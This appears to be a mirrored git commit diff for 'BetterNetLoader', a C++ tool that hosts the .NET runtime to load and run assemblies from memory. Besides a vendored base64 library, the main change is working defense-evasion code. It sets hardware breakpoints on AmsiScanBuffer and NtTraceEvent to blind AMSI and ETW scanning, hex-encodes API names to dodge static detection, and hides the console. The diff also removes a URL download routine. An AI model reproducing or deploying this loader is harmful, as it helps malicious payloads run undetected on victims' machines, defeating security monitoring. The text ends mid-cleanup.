mirror of
https://github.com/racoten/BetterNetLoader
synced 2026-06-08 16:54:45 +00:00
Huge Update
This commit is contained in:
+12
@@ -0,0 +1,12 @@
|
||||
*.obj
|
||||
*.pdb
|
||||
*.exe
|
||||
*.log
|
||||
*.tlog
|
||||
*.idb
|
||||
*.ilk
|
||||
*.recipe
|
||||
*.iobj
|
||||
*.ipdb
|
||||
*.ini
|
||||
*.txt
|
||||
@@ -0,0 +1,260 @@
|
||||
/*
|
||||
base64.cpp and base64.h
|
||||
|
||||
base64 encoding and decoding with C++.
|
||||
More information at
|
||||
https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
|
||||
|
||||
Version: 2.rc.09 (release candidate)
|
||||
|
||||
Copyright (C) 2004-2017, 2020-2022 René Nyffenegger
|
||||
|
||||
This source code is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the author be held liable for any damages
|
||||
arising from the use of this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
|
||||
1. The origin of this source code must not be misrepresented; you must not
|
||||
claim that you wrote the original source code. If you use this source code
|
||||
in a product, an acknowledgment in the product documentation would be
|
||||
appreciated but is not required.
|
||||
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original source code.
|
||||
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
René Nyffenegger rene.nyffenegger@adp-gmbh.ch
|
||||
|
||||
*/
|
||||
|
||||
#include "base64.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <stdexcept>
|
||||
|
||||
//
|
||||
// Depending on the url parameter in base64_chars, one of
|
||||
// two sets of base64 characters needs to be chosen.
|
||||
// They differ in their last two characters.
|
||||
//
|
||||
static const char* base64_chars[2] = {
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz"
|
||||
"0123456789"
|
||||
"+/",
|
||||
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz"
|
||||
"0123456789"
|
||||
"-_" };
|
||||
|
||||
static unsigned int pos_of_char(const unsigned char chr) {
|
||||
//
|
||||
// Return the position of chr within base64_encode()
|
||||
//
|
||||
|
||||
if (chr >= 'A' && chr <= 'Z') return chr - 'A';
|
||||
else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
|
||||
else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
|
||||
else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters (
|
||||
else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_'
|
||||
else
|
||||
//
|
||||
// 2020-10-23: Throw std::exception rather than const char*
|
||||
//(Pablo Martin-Gomez, https://github.com/Bouska)
|
||||
//
|
||||
throw std::runtime_error("Input is not valid base64-encoded data.");
|
||||
}
|
||||
|
||||
static std::string insert_linebreaks(std::string str, size_t distance) {
|
||||
//
|
||||
// Provided by https://github.com/JomaCorpFX, adapted by me.
|
||||
//
|
||||
if (!str.length()) {
|
||||
return "";
|
||||
}
|
||||
|
||||
size_t pos = distance;
|
||||
|
||||
while (pos < str.size()) {
|
||||
str.insert(pos, "\n");
|
||||
pos += distance + 1;
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
template <typename String, unsigned int line_length>
|
||||
static std::string encode_with_line_breaks(String s) {
|
||||
return insert_linebreaks(base64_encode(s, false), line_length);
|
||||
}
|
||||
|
||||
template <typename String>
|
||||
static std::string encode_pem(String s) {
|
||||
return encode_with_line_breaks<String, 64>(s);
|
||||
}
|
||||
|
||||
template <typename String>
|
||||
static std::string encode_mime(String s) {
|
||||
return encode_with_line_breaks<String, 76>(s);
|
||||
}
|
||||
|
||||
template <typename String>
|
||||
static std::string encode(String s, bool url) {
|
||||
return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
|
||||
}
|
||||
|
||||
std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) {
|
||||
|
||||
size_t len_encoded = (in_len + 2) / 3 * 4;
|
||||
|
||||
unsigned char trailing_char = url ? '.' : '=';
|
||||
|
||||
//
|
||||
// Choose set of base64 characters. They differ
|
||||
// for the last two positions, depending on the url
|
||||
// parameter.
|
||||
// A bool (as is the parameter url) is guaranteed
|
||||
// to evaluate to either 0 or 1 in C++ therefore,
|
||||
// the correct character set is chosen by subscripting
|
||||
// base64_chars with url.
|
||||
//
|
||||
const char* base64_chars_ = base64_chars[url];
|
||||
|
||||
std::string ret;
|
||||
ret.reserve(len_encoded);
|
||||
|
||||
unsigned int pos = 0;
|
||||
|
||||
while (pos < in_len) {
|
||||
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);
|
||||
|
||||
if (pos + 1 < in_len) {
|
||||
ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);
|
||||
|
||||
if (pos + 2 < in_len) {
|
||||
ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
|
||||
ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]);
|
||||
}
|
||||
else {
|
||||
ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]);
|
||||
ret.push_back(trailing_char);
|
||||
}
|
||||
}
|
||||
else {
|
||||
|
||||
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]);
|
||||
ret.push_back(trailing_char);
|
||||
ret.push_back(trailing_char);
|
||||
}
|
||||
|
||||
pos += 3;
|
||||
}
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
template <typename String>
|
||||
static std::string decode(String const& encoded_string, bool remove_linebreaks) {
|
||||
|
||||
if (encoded_string.empty()) return std::string();
|
||||
|
||||
if (remove_linebreaks) {
|
||||
|
||||
std::string copy(encoded_string);
|
||||
|
||||
copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());
|
||||
|
||||
return base64_decode(copy, false);
|
||||
}
|
||||
|
||||
size_t length_of_string = encoded_string.length();
|
||||
size_t pos = 0;
|
||||
|
||||
size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
|
||||
std::string ret;
|
||||
ret.reserve(approx_length_of_decoded_string);
|
||||
|
||||
while (pos < length_of_string) {
|
||||
|
||||
size_t pos_of_char_1 = pos_of_char(encoded_string.at(pos + 1));
|
||||
|
||||
//
|
||||
// Emit the first output byte that is produced in each chunk:
|
||||
//
|
||||
ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string.at(pos + 0))) << 2) + ((pos_of_char_1 & 0x30) >> 4)));
|
||||
|
||||
if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045)
|
||||
encoded_string.at(pos + 2) != '=' &&
|
||||
encoded_string.at(pos + 2) != '.' // accept URL-safe base 64 strings, too, so check for '.' also.
|
||||
)
|
||||
{
|
||||
//
|
||||
// Emit a chunk's second byte (which might not be produced in the last chunk).
|
||||
//
|
||||
unsigned int pos_of_char_2 = pos_of_char(encoded_string.at(pos + 2));
|
||||
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2)));
|
||||
|
||||
if ((pos + 3 < length_of_string) &&
|
||||
encoded_string.at(pos + 3) != '=' &&
|
||||
encoded_string.at(pos + 3) != '.'
|
||||
)
|
||||
{
|
||||
//
|
||||
// Emit a chunk's third byte (which might not be produced in the last chunk).
|
||||
//
|
||||
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string.at(pos + 3))));
|
||||
}
|
||||
}
|
||||
|
||||
pos += 4;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
std::string base64_decode(std::string const& s, bool remove_linebreaks) {
|
||||
return decode(s, remove_linebreaks);
|
||||
}
|
||||
|
||||
std::string base64_encode(std::string const& s, bool url) {
|
||||
return encode(s, url);
|
||||
}
|
||||
|
||||
std::string base64_encode_pem(std::string const& s) {
|
||||
return encode_pem(s);
|
||||
}
|
||||
|
||||
std::string base64_encode_mime(std::string const& s) {
|
||||
return encode_mime(s);
|
||||
}
|
||||
|
||||
#if __cplusplus >= 201703L
|
||||
//
|
||||
// Interface with std::string_view rather than const std::string&
|
||||
// Requires C++17
|
||||
// Provided by Yannic Bonenberger (https://github.com/Yannic)
|
||||
//
|
||||
|
||||
std::string base64_encode(std::string_view s, bool url) {
|
||||
return encode(s, url);
|
||||
}
|
||||
|
||||
std::string base64_encode_pem(std::string_view s) {
|
||||
return encode_pem(s);
|
||||
}
|
||||
|
||||
std::string base64_encode_mime(std::string_view s) {
|
||||
return encode_mime(s);
|
||||
}
|
||||
|
||||
std::string base64_decode(std::string_view s, bool remove_linebreaks) {
|
||||
return decode(s, remove_linebreaks);
|
||||
}
|
||||
|
||||
#endif // __cplusplus >= 201703L
|
||||
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
//
|
||||
// base64 encoding and decoding with C++.
|
||||
// Version: 2.rc.09 (release candidate)
|
||||
//
|
||||
|
||||
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
|
||||
#define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
|
||||
|
||||
#include <string>
|
||||
|
||||
#if __cplusplus >= 201703L
|
||||
#include <string_view>
|
||||
#endif // __cplusplus >= 201703L
|
||||
|
||||
std::string base64_encode(std::string const& s, bool url = false);
|
||||
std::string base64_encode_pem(std::string const& s);
|
||||
std::string base64_encode_mime(std::string const& s);
|
||||
|
||||
std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
|
||||
std::string base64_encode(unsigned char const*, size_t len, bool url = false);
|
||||
|
||||
#if __cplusplus >= 201703L
|
||||
//
|
||||
// Interface with std::string_view rather than const std::string&
|
||||
// Requires C++17
|
||||
// Provided by Yannic Bonenberger (https://github.com/Yannic)
|
||||
//
|
||||
std::string base64_encode(std::string_view s, bool url = false);
|
||||
std::string base64_encode_pem(std::string_view s);
|
||||
std::string base64_encode_mime(std::string_view s);
|
||||
|
||||
std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
|
||||
#endif // __cplusplus >= 201703L
|
||||
|
||||
#endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */
|
||||
+136
-259
@@ -1,288 +1,165 @@
|
||||
#include <Windows.h>
|
||||
#include <metahost.h>
|
||||
#include <stdio.h>
|
||||
#include <cstdio>
|
||||
#include <ntstatus.h>
|
||||
#include <wininet.h>
|
||||
|
||||
#include "HwBpEngine.h"
|
||||
#include "winternal.h"
|
||||
|
||||
#pragma comment(lib, "mscoree.lib")
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
#define PIPE_BUFFER_LENGTH 0x10000 * 5
|
||||
#define PIPE_BUFFER_LENGTH (0x10000 * 5)
|
||||
|
||||
namespace mscorlib {
|
||||
#include "mscorlib.h"
|
||||
}
|
||||
|
||||
static const char s_amsi_dll[] = { 0x61,0x6D,0x73,0x69,0x2E,0x64,0x6C,0x6C,0x00 };
|
||||
static const char s_amsi_scan_buffer[] = { 0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00 };
|
||||
static const char s_ntdll_dll[] = { 0x6E,0x74,0x64,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00 };
|
||||
static const char s_nt_trace_event[] = { 0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00 };
|
||||
|
||||
static const WCHAR s_clr_v4[] = {
|
||||
0x0076,0x0034,0x002E,0x0030,0x002E,0x0033,0x0030,0x0033,0x0031,0x0039,0x0000
|
||||
};
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
) {
|
||||
HINTERNET hInternet = NULL, hConnect = NULL;
|
||||
PBYTE pBaseAddress = NULL;
|
||||
DWORD dwFileSize = 0, dwBytesRead = 0, totalBytesRead = 0;
|
||||
|
||||
if (!url || !ppFileBuffer || !pdwFileSize) {
|
||||
printf("[-] Invalid parameters passed to ReadFileFromURLA.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hInternet = InternetOpenA("FileDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (!hInternet) {
|
||||
printf("[-] InternetOpenA failed with error: %lu\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
|
||||
if (!hConnect) {
|
||||
printf("[-] InternetOpenUrlA failed for URL: %s, Error: %lu\n", url, GetLastError());
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pBaseAddress = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024); // Start with 1MB buffer
|
||||
if (!pBaseAddress) {
|
||||
printf("[-] HeapAlloc failed. Error: %lu\n", GetLastError());
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
do {
|
||||
if (totalBytesRead + 1024 > dwFileSize) {
|
||||
dwFileSize = (dwFileSize + 1024) * 2;
|
||||
PBYTE newBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize);
|
||||
if (!newBuffer) {
|
||||
printf("[-] HeapReAlloc failed. Error: %lu\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, pBaseAddress);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
pBaseAddress = newBuffer;
|
||||
}
|
||||
|
||||
if (!InternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead)) {
|
||||
printf("[-] InternetReadFile failed. Error: %lu\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, pBaseAddress);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
return FALSE;
|
||||
}
|
||||
totalBytesRead += dwBytesRead;
|
||||
} while (dwBytesRead > 0);
|
||||
|
||||
*pdwFileSize = totalBytesRead;
|
||||
*ppFileBuffer = pBaseAddress;
|
||||
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
static const WCHAR s_clr_v2[] = {
|
||||
0x0076,0x0032,0x002E,0x0030,0x002E,0x0035,0x0030,0x0037,0x0032,0x0037,0x0000
|
||||
};
|
||||
|
||||
HRESULT DotnetExecute(
|
||||
_In_ PBYTE AssemblyBytes,
|
||||
_In_ ULONG AssemblySize,
|
||||
_In_ PWSTR AppDomainName,
|
||||
_In_ PWSTR Arguments,
|
||||
_Out_ LPSTR* OutputBuffer,
|
||||
_Out_ PULONG OutputLength
|
||||
) {
|
||||
HRESULT HResult = {};
|
||||
ICLRMetaHost* IMetaHost = {};
|
||||
ICLRRuntimeInfo* IRuntimeInfo = {};
|
||||
ICorRuntimeHost* IRuntimeHost = {};
|
||||
IUnknown* IAppDomainThunk = {};
|
||||
mscorlib::_AppDomain* AppDomain = {};
|
||||
mscorlib::_Assembly* Assembly = {};
|
||||
mscorlib::_MethodInfo* MethodInfo = {};
|
||||
SAFEARRAYBOUND SafeArrayBound = {};
|
||||
SAFEARRAY* SafeAssembly = {};
|
||||
SAFEARRAY* SafeExpected = {};
|
||||
SAFEARRAY* SafeArguments = {};
|
||||
PWSTR* AssemblyArgv = {};
|
||||
ULONG AssemblyArgc = {};
|
||||
LONG Index = {};
|
||||
VARIANT VariantArgv = {};
|
||||
BOOL IsLoadable = {};
|
||||
HWND ConExist = {};
|
||||
HWND ConHandle = {};
|
||||
HANDLE BackupHandle = {};
|
||||
HANDLE IoPipeRead = {};
|
||||
HANDLE IoPipeWrite = {};
|
||||
SECURITY_ATTRIBUTES SecurityAttr = {};
|
||||
HANDLE ExceptionHandle = {};
|
||||
_In_ PBYTE AssemblyBytes,
|
||||
_In_ ULONG AssemblySize,
|
||||
_In_ PWSTR AppDomainName,
|
||||
_In_ PWSTR Arguments,
|
||||
_Out_ LPSTR* OutputBuffer,
|
||||
_Out_ PULONG OutputLength
|
||||
)
|
||||
{
|
||||
HRESULT HResult = S_OK;
|
||||
ICLRMetaHost* IMetaHost = nullptr;
|
||||
ICLRRuntimeInfo* IRuntimeInfo = nullptr;
|
||||
ICorRuntimeHost* IRuntimeHost = nullptr;
|
||||
IUnknown* IAppDomainThunk = nullptr;
|
||||
mscorlib::_AppDomain* AppDomain = nullptr;
|
||||
mscorlib::_Assembly* Assembly = nullptr;
|
||||
mscorlib::_MethodInfo* MethodInfo = nullptr;
|
||||
SAFEARRAYBOUND SafeArrayBound = { AssemblySize, 0 };
|
||||
SAFEARRAY* SafeAssembly = nullptr;
|
||||
SAFEARRAY* SafeExpected = nullptr;
|
||||
SAFEARRAY* SafeArguments = nullptr;
|
||||
PWSTR* AssemblyArgv = nullptr;
|
||||
ULONG AssemblyArgc = 0;
|
||||
LONG Index = 0;
|
||||
VARIANT VariantArgv = {};
|
||||
BOOL IsLoadable = FALSE;
|
||||
HWND ConExist = nullptr;
|
||||
HWND ConHandle = nullptr;
|
||||
HANDLE BackupHandle = nullptr;
|
||||
HANDLE IoPipeRead = nullptr;
|
||||
HANDLE IoPipeWrite = nullptr;
|
||||
SECURITY_ATTRIBUTES SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE };
|
||||
HANDLE ExceptionHandle = nullptr;
|
||||
|
||||
//
|
||||
// create the CLR instance
|
||||
//
|
||||
if ((HResult = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&IMetaHost)))) {
|
||||
printf("[-] CLRCreateInstance Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
// Create the CLR instance.
|
||||
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast<PVOID*>(&IMetaHost));
|
||||
|
||||
if ((HResult = IMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&IRuntimeInfo)))) {
|
||||
printf("[-] IMetaHost->GetRuntime Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
// Try multiple CLR versions.
|
||||
const wchar_t* clrVersions[] = { s_clr_v4, s_clr_v2 };
|
||||
int clrVersionCount = static_cast<int>(sizeof(clrVersions) / sizeof(clrVersions[0]));
|
||||
for (int i = 0; i < clrVersionCount; i++) {
|
||||
IMetaHost->GetRuntime(clrVersions[i], IID_ICLRRuntimeInfo, reinterpret_cast<PVOID*>(&IRuntimeInfo));
|
||||
if (IRuntimeInfo)
|
||||
break;
|
||||
}
|
||||
|
||||
if ((HResult = IRuntimeInfo->IsLoadable(&IsLoadable)) || !IsLoadable) {
|
||||
printf("[-] IRuntimeInfo->IsLoadable Failed with Error: %lx (IsLoadable: %s)\n", HResult, IsLoadable ? "true" : "false");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
IRuntimeInfo->IsLoadable(&IsLoadable);
|
||||
IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&IRuntimeHost));
|
||||
IRuntimeHost->Start();
|
||||
IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk);
|
||||
IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain));
|
||||
|
||||
if ((HResult = IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast<PVOID*>(&IRuntimeHost)))) {
|
||||
printf("[-] IRuntimeInfo->GetInterface Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound);
|
||||
memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize);
|
||||
|
||||
if ((HResult = IRuntimeHost->Start())) {
|
||||
printf("[-] IRuntimeHost->Start Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
// Replace standard GetProcAddress calls with our custom replacements from winternal.h.
|
||||
SetUniqueHardwareBreakpoint(0, reinterpret_cast<LPVOID>(
|
||||
GetProcAddressReplacement(LoadLibraryA(s_amsi_dll), s_amsi_scan_buffer)
|
||||
));
|
||||
SetUniqueHardwareBreakpoint(1, reinterpret_cast<LPVOID>(
|
||||
GetProcAddressReplacement(LoadLibraryA(s_ntdll_dll), s_nt_trace_event)
|
||||
));
|
||||
ExceptionHandle = AddVectoredExceptionHandler(TRUE, reinterpret_cast<PVECTORED_EXCEPTION_HANDLER>(HandleUniqueHwbpException));
|
||||
|
||||
if ((HResult = IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk))) {
|
||||
printf("[-] IRuntimeHost->CreateDomain Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
AppDomain->Load_3(SafeAssembly, &Assembly);
|
||||
Assembly->get_EntryPoint(&MethodInfo);
|
||||
MethodInfo->GetParameters(&SafeExpected);
|
||||
|
||||
if ((HResult = IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)))) {
|
||||
printf("[-] IAppDomainThunk->QueryInterface Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
if (SafeExpected && SafeExpected->cDims && SafeExpected->rgsabound[0].cElements)
|
||||
{
|
||||
SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
if (wcslen(Arguments))
|
||||
AssemblyArgv = CommandLineToArgvW(Arguments, reinterpret_cast<PINT>(&AssemblyArgc));
|
||||
VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc);
|
||||
VariantArgv.vt = (VT_ARRAY | VT_BSTR);
|
||||
for (Index = 0; Index < static_cast<LONG>(AssemblyArgc); Index++)
|
||||
SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index]));
|
||||
Index = 0;
|
||||
SafeArrayPutElement(SafeArguments, &Index, &VariantArgv);
|
||||
SafeArrayDestroy(VariantArgv.parray);
|
||||
}
|
||||
|
||||
SafeArrayBound = { AssemblySize, 0 };
|
||||
SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound);
|
||||
CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH);
|
||||
ConExist = GetConsoleWindow();
|
||||
if (!ConExist)
|
||||
{
|
||||
AllocConsole();
|
||||
ConHandle = GetConsoleWindow();
|
||||
if (ConHandle)
|
||||
ShowWindow(ConHandle, SW_HIDE);
|
||||
}
|
||||
BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite);
|
||||
|
||||
memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize);
|
||||
MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr);
|
||||
|
||||
HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer"));
|
||||
HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent"));
|
||||
if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) {
|
||||
printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
*OutputBuffer = static_cast<LPSTR>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH));
|
||||
ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr);
|
||||
|
||||
if ((HResult = AppDomain->Load_3(SafeAssembly, &Assembly))) {
|
||||
printf("[-] AppDomain->Load_3 Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
// Cleanup block at the end of the function.
|
||||
SetUniqueHardwareBreakpoint(0, nullptr);
|
||||
SetUniqueHardwareBreakpoint(1, nullptr);
|
||||
if (ExceptionHandle)
|
||||
RemoveVectoredExceptionHandler(ExceptionHandle);
|
||||
if (BackupHandle)
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle);
|
||||
if (IoPipeRead)
|
||||
CloseHandle(IoPipeRead);
|
||||
if (IoPipeWrite)
|
||||
CloseHandle(IoPipeWrite);
|
||||
if (AssemblyArgv)
|
||||
{
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyArgv);
|
||||
AssemblyArgv = nullptr;
|
||||
}
|
||||
if (SafeAssembly)
|
||||
{
|
||||
SafeArrayDestroy(SafeAssembly);
|
||||
SafeAssembly = nullptr;
|
||||
}
|
||||
if (SafeArguments)
|
||||
{
|
||||
SafeArrayDestroy(SafeArguments);
|
||||
SafeArguments = nullptr;
|
||||
}
|
||||
if (MethodInfo)
|
||||
MethodInfo->Release();
|
||||
if (IRuntimeHost)
|
||||
IRuntimeHost->Release();
|
||||
if (IRuntimeInfo)
|
||||
IRuntimeInfo->Release();
|
||||
if (IMetaHost)
|
||||
IMetaHost->Release();
|
||||
|
||||
if ((HResult = Assembly->get_EntryPoint(&MethodInfo))) {
|
||||
printf("[-] Assembly->get_EntryPoint Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((HResult = MethodInfo->GetParameters(&SafeExpected))) {
|
||||
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (SafeExpected) {
|
||||
if (SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) {
|
||||
SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
|
||||
if (wcslen(Arguments)) {
|
||||
AssemblyArgv = CommandLineToArgvW(Arguments, (PINT)&AssemblyArgc);
|
||||
}
|
||||
|
||||
VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc);
|
||||
VariantArgv.vt = (VT_ARRAY | VT_BSTR);
|
||||
|
||||
for (Index = 0; Index < AssemblyArgc; Index++) {
|
||||
SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index]));
|
||||
}
|
||||
|
||||
Index = 0;
|
||||
SafeArrayPutElement(SafeArguments, &Index, &VariantArgv);
|
||||
SafeArrayDestroy(VariantArgv.parray);
|
||||
}
|
||||
}
|
||||
|
||||
SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE };
|
||||
if (!(CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH))) {
|
||||
printf("[-] CreatePipe Failed with Error: %lx\n", GetLastError());
|
||||
HResult = GetLastError();
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!(ConExist = GetConsoleWindow())) {
|
||||
AllocConsole();
|
||||
if ((ConHandle = GetConsoleWindow())) {
|
||||
ShowWindow(ConHandle, SW_HIDE);
|
||||
}
|
||||
}
|
||||
|
||||
BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite);
|
||||
|
||||
if ((HResult = MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr))) {
|
||||
printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((*OutputBuffer = static_cast<LPSTR>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)))) {
|
||||
if (!ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr)) {
|
||||
printf("[-] ReadFile Failed with Error: %lx\n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
}
|
||||
else {
|
||||
HResult = ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
_END_OF_FUNC:
|
||||
HwbpEngineBreakpoint(0, nullptr);
|
||||
HwbpEngineBreakpoint(1, nullptr);
|
||||
RemoveVectoredExceptionHandler(ExceptionHandle);
|
||||
|
||||
if (BackupHandle) {
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle);
|
||||
}
|
||||
|
||||
if (IoPipeRead) {
|
||||
CloseHandle(IoPipeRead);
|
||||
}
|
||||
|
||||
if (IoPipeWrite) {
|
||||
CloseHandle(IoPipeWrite);
|
||||
}
|
||||
|
||||
if (AssemblyArgv) {
|
||||
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AssemblyArgv);
|
||||
AssemblyArgv = nullptr;
|
||||
}
|
||||
|
||||
